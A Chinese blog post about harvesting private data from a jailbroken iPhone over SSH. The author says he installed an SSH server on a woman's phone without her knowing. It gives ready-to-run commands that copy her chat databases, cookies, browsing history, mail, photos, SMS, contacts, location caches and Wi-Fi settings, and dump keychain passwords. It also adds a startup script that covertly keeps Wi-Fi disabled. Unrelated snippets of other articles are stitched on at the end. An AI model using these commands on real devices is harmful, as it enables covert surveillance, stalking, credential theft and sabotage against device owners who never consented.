隐匿在iOS文件系统中的隐私信息

说明:

1. 本文仅供安全学习及教学用途,提及的部分技术带有攻击性,请确保合法使用。
2. “这些都不是我干的,我就负责说出来。”
3. 图片仅供参考。
4. 本文所讨论的内容适用于iOS 8.4环境,其应用程序数据文件夹在/var/mobile/Containers/Data/。不同系统版本的文件位置以及内容形式有差异

0×00 前言

女神是神奇的,那天她找我,问我怎么把她越狱iPhone的iapfree卸载。我拿来看,发现她很不机智,把对应的软件源删除了。憋住笑,我边给她科普软件源,apt,blabla,边顺手下了个ssh服务端,然后用我的iPad 连上去,dpkg -r解决问题。在她不明觉厉的崇拜的目光里我深藏功与名,还有敞开的22端口。

然而,有了root,我能翻到什么呢?

是时候研究一番了!

0×01 聊天信息

iOS 8是丧病的,应用文件夹用hash命名。但是可以搜索啊!

QQ: QQ.db

mkdir /spy
mkdir /spy/QQ
find /var/mobile/Containers/Data -name "QQ.db" |xargs -I {} dirname {} | xargs -I {} cp -r  {}/../../ /spy/QQ

打开sqlite数据库惊喜地发现全是明文,安卓好歹异或了一下。

微信:MM.sqlite

mkdir /spy/WC
find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r  {}/../../ /spy/WC

有了聊天记录,可以好好发挥了。

注意:上述命令复制了所有微信和qq的数据,但是实际操作会发现缓存文件太多严重影响sftp速度,可以考虑压缩一下再sftp传回来,或者放弃图片和语音,只取数据库文件。

0×02 输入法缓存

利用系统输入法自动更正的字符串输入记录。缓存文件的地址是:/private/var/mobile/Library/Keyboard/dynamic-text.dat

mkdir /spy/keyboard
cp /private/var/mobile/Library/Keyboard/dynamic-text.dat /spy/keyboard

可以看到该文件以十六进制的00 xx 00 作为字符分割符,也许xx就是使用的次数。

由于密码键盘不开启自动补全一类功能,此处只能找一些用户使用过的比较特殊的词语。如果用户患有严重手癌,想必能留下不少东西。

0×03 浏览器敏感信息

Cookie:

拷贝Safari的cookie

mkdir /spy/browsermkdir /spy/browser/safaricp -r  /var/mobile/Library/Cookies/  /spy/browser/safari

不只是浏览器,很多应用都用http做网络编程,或者内嵌浏览器进行内容显示,自然保存了好多cookie

find /var/mobile/Containers/Data -name "*.binarycookies" | xargs -I {} cat {} > /spy/browser/all.cookies

注意:所有cookie都堆进一个文件显然不行,分析的时候得用“cook”的文件头分割一下。

Cookie储存成二进制了,需要使用工具BinaryCookieReader

历史记录,书签,和打开的页面截图:

find /var/mobile/Containers/Data -name "History.db" |xargs -I {} dirname {} | xargs -I {} cp -r  {}/../ /spy/browser/safari
cp /var/mobile/Library/Safari/Bookmarks.db /spy/browser/safari

书签

历史记录

打开的页面

其中打开的页面截图很有意思,即使是无痕浏览也存在。因而完全可以写个脚本不停地记录这些文件,用户整个网页浏览足迹就清晰可见了

0×04 邮件

mkdir /spy/mailcp  -r /var/mobile/Library/Mail /spy/mail

觉得内容不重要,毕竟要是不介意动静大点的话有keychain里面的明文密码呢,但是这么多附件挺值得研究的。

0×05 照片

mkdir /spy/photoscp -r /private/var/mobile/Media/DCIM /spy/photos

0×06 短信,联系人,通话记录

mkdir /spy/phone
cp -r /private/var/mobile/Library/SMS/*.db /spy/phone
cp -r /private/var/mobile/Library/CallHistory/ /spy/phone
cp -r /private/var/mobile/Library/AddressBook/*.sqlitedb /spy/phone

0×07 定位信息

很早苹果就被曝出收集用户常去地点。现在常去地点服务的数据是难以翻到了,但是应用的定位缓存并没有加密,一览无余。

mkdir /spy/location
cp /var/root/Library/Caches/locationd/*.db /spy/location

如图,wifi路由的mac以及地理位置被清晰地记录。

显然,苹果坑得一手好爹。。。

0×08 keychain

苹果的钥匙串里面包括wifi,邮件,苹果账户,vpn,和部分应用软件(比如百度云)的明文密码,还有ssl的密钥

工具:Keychain-Dumper

首先需要上传工具

chmod +x ./keychain_dumper
./keychain_dumper >/spy/keychain.txt

上图是vpn的

随便瞪两眼都重量级的密码:

苹果的:

Generic Password
----------------
Service: com.apple.account.AppleIDAuthentication.password
Account: ********-0929-48F5-AF51-372003B9****
Entitlement Group: apple
Label: (null)
Generic Field: (null)
Keychain Data: **********

百度的:

Generic Password
----------------
Service:
Account: **********
Entitlement Group: B83JBVZ6M5.com.baidu.netdisk-iPad
Label: **********yWHJsMVVmWEcwS0doaVZuQTU0SktxU25LYW1xVm4xQzZsTUdkfmRWQVFBQUFBJCQAAAAAAAAAAAEAAAB3I88aMTAwNTMwODc3NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbqz1*******
Generic Field: bduser
Keychain Data: ********

其余同理

0×09 后台应用截图

/private/var/mobile/Library/Caches/Snapshots

还有各个应用文件夹内的Snapshots 文件夹

但是一直被占用只能用ifile看看

0x0A wifi信息

所有无线网络相关的信息都保存在/var/preferences/SystemConfiguration/com.apple.wifi.plist

mkdir /spy/wifi
cp /var/preferences/SystemConfiguration/com.apple.wifi.plist /spy/wifi

0x0B 严重的后果

苹果帐号密码可以用于远程定位,锁定,骚扰(findmyiphone)。

有wifi密码、ssid、wifi位置!基本上用户所在的内网已经悲剧了。

cookie可以用于登录各种网站。

邮件可以随便看,往往有一些重要的文档。

定位信息可以找出常去的地点,没准可以“邂逅”呢

聊天记录,联系人信息,通话记录,照片这些个人隐私嘛。。。此处略去一万字。。。

综上,后果很严重。

0x0C 创造更严重的后果

/etc/rc.d/里面建个文本文档

写点什么,比如

while ((1==1)); do ifconfig en0 down ;sleep 2; done

可以在完全不被察觉的情况下让目标打死都连不上wifi

可见,我们手中的越狱iOS设备不修改ssh默认密码是一件多么危险的事情

或者说,作为女神的iPhone,删除软件源不自动删除从该源安装的软件,是多么坑爹。

时间: 2024-07-30 10:37:52

隐匿在iOS文件系统中的隐私信息的相关文章

驱动代码与文件系统中的设备信息

关于mkmod 不使用mknod,在驱动代码里自动生成设备号: 1.在内核驱动中用class_create,device_create两个函数,内核启动后就会在sysfs文件系统中建立相应的设备信息,记得把sysfs文件系统挂载到/sys,为下一步做准备 2.去官网下载udev,编译生成udevd,udevstart......等9个工具,只要把udevd,udevstart拷到自己的文件系统,配置好udev,并在系统启动时运行(可以在rcS脚本中加入),这样内核启动后,udev就会根据/sys

iOS 关于图片地理位置隐私信息的分析和读取

今天突然想到微信朋友圈发照片,涉及个人隐私的地理位置是否外泄.由于iphone拍照的照片都会带有地理位置等信息.我们先来实现怎么读取里面的安全信息.然后再来分析 #import "ViewController.h" #import <ImageIO/ImageIO.h> #import <AssetsLibrary/AssetsLibrary.h> @interface ViewController ()<UIImagePickerControllerDe

iOS利用HealthKit框架从健康app中获取步数信息

微信和QQ的每日步数最近十分火爆,我就想为自己写的项目中添加一个显示每日步数的功能,上网一搜好像并有相关的详细资料,自己动手丰衣足食. 统计步数信息并不需要我们自己去实现,iOS自带的健康app已经为我们统计好了步数数据 我们只要使用HealthKit框架从健康app中获取这个数据信息就可以了 这篇文章对HealthKit框架进行了简单的介绍:http://www.cocoachina.com/ios/20140915/9624.html 对HealthKit框架有了简单的了解后我们就可以开始了

显示Hadoop文件系统中一组路径的文件信息

//显示Hadoop文件系统中一组路径的文件信息 //我们可以用这个程序来显示一组路径集目录列表的并集 package com; import java.io.IOException; import java.net.URI; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.FileStatus; import org.apache.hadoop.fs.FileSystem; import org.

iOS已发布应用中对异常信息捕获和处理(转)

iOS开发中我们会遇到程序抛出异常退出的情况,如果是在调试的过程中,异常的信息是一目了然,但是如果是在已经发布的程序中,获取异常的信息有时候是比较困难的. iOS提供了异常发生的处理API,我们在程序启动的时候可以添加这样的Handler,这样的程序发生异常的时候就可以对这一部分的信息进行必要的处理,适时的反馈给开发者. 不足的地方是,并不是所有的程序崩溃都是由于发生可以捕捉的异常的,有些时候是因为内存等一些其他的错误导致程序的崩溃,这样的信息是不在这里体现的. 我做了一个简单的类,进行很基本的

iOS文件系统

在iOS系统中,每个APP的文件都是独立的, 一个APP大部分处理的文件系统仅限于app的沙盒文件夹.新的APP安装的时候,会产生一系列的文件目录,如下图所示:                                               下面分开介绍一下: AppName.app: 包含app和响应的资源等 Documents: 储存用户产生的数据,这个文件夹里面的数据能够被用户所操作,能够被itune备份. Documents/Inbox:  如果APP允许其他应用打开,这就将

苹果IOS9系统推HTTPS 加强个人隐私信息保护

今年,苹果公司正式推出IOS9系统,诸多果粉欣然安装.此次系统升级,苹果公司的一大举措是要求HTTP协议全部升级为HTTPS协议,使用户在使用各类APP时,个人隐私信息得到更高级的保护. 苹果拥有极其庞大的应用生态.IOS9内置的一个叫App Transport Security (ATS) 的安全功能,要求所有进入到 iOS 9 装置的资讯必须经过HTTPS加密设定. 从最终的数据解析的角度分析,HTTPS 与 HTTP 没有本质区别.对于接收端而言,SSL/TSL 将接收的数据包解密,将数据

iOS 整理笔记 获取手机信息(UIDevice、NSBundle、NSLocale)

/*    iOS的APP的应用开发的过程中,有时为了bug跟踪或者获取用反馈的需要自动收集用户设备.系统信息.应用信息等等,这些信息方便开发者诊断问题,当然这些信息是用户的非隐私信息,是通过开发api可以获取到的.那么通过那些api可以获取这些信息呢,iOS的SDK中提供了UIDevice,NSBundle,NSLocale.    UIDevice        UIDevice提供了多种属性.类函数及状态通知,帮助我们全方位了解设备状况.从检测电池电量到定位设备与临近感应,UIDevice

iOS开发中UIPopoverController的使用详解

这篇文章主要介绍了iOS开发中UIPopoverController的使用,代码基于传统的Objective-C,需要的朋友可以参考下 一.简单介绍 1.什么是UIPopoverController 是iPad开发中常见的一种控制器(在iPhone上不允许使用) 跟其他控制器不一样的是,它直接继承自NSObject,并非继承自UIViewController 它只占用部分屏幕空间来呈现信息,而且显示在屏幕的最前面 2.使用步骤 要想显示一个UIPopoverController,需要经过下列步骤